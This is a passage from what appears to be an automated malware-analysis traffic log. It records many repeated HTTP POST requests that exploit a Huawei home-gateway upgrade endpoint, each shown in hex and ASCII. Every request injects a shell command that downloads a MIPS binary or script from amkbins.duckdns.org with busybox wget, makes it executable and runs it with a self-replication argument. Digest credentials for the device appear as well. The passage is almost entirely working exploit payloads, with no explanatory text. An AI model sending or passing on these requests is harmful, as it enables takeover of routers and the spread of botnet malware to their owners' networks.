xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 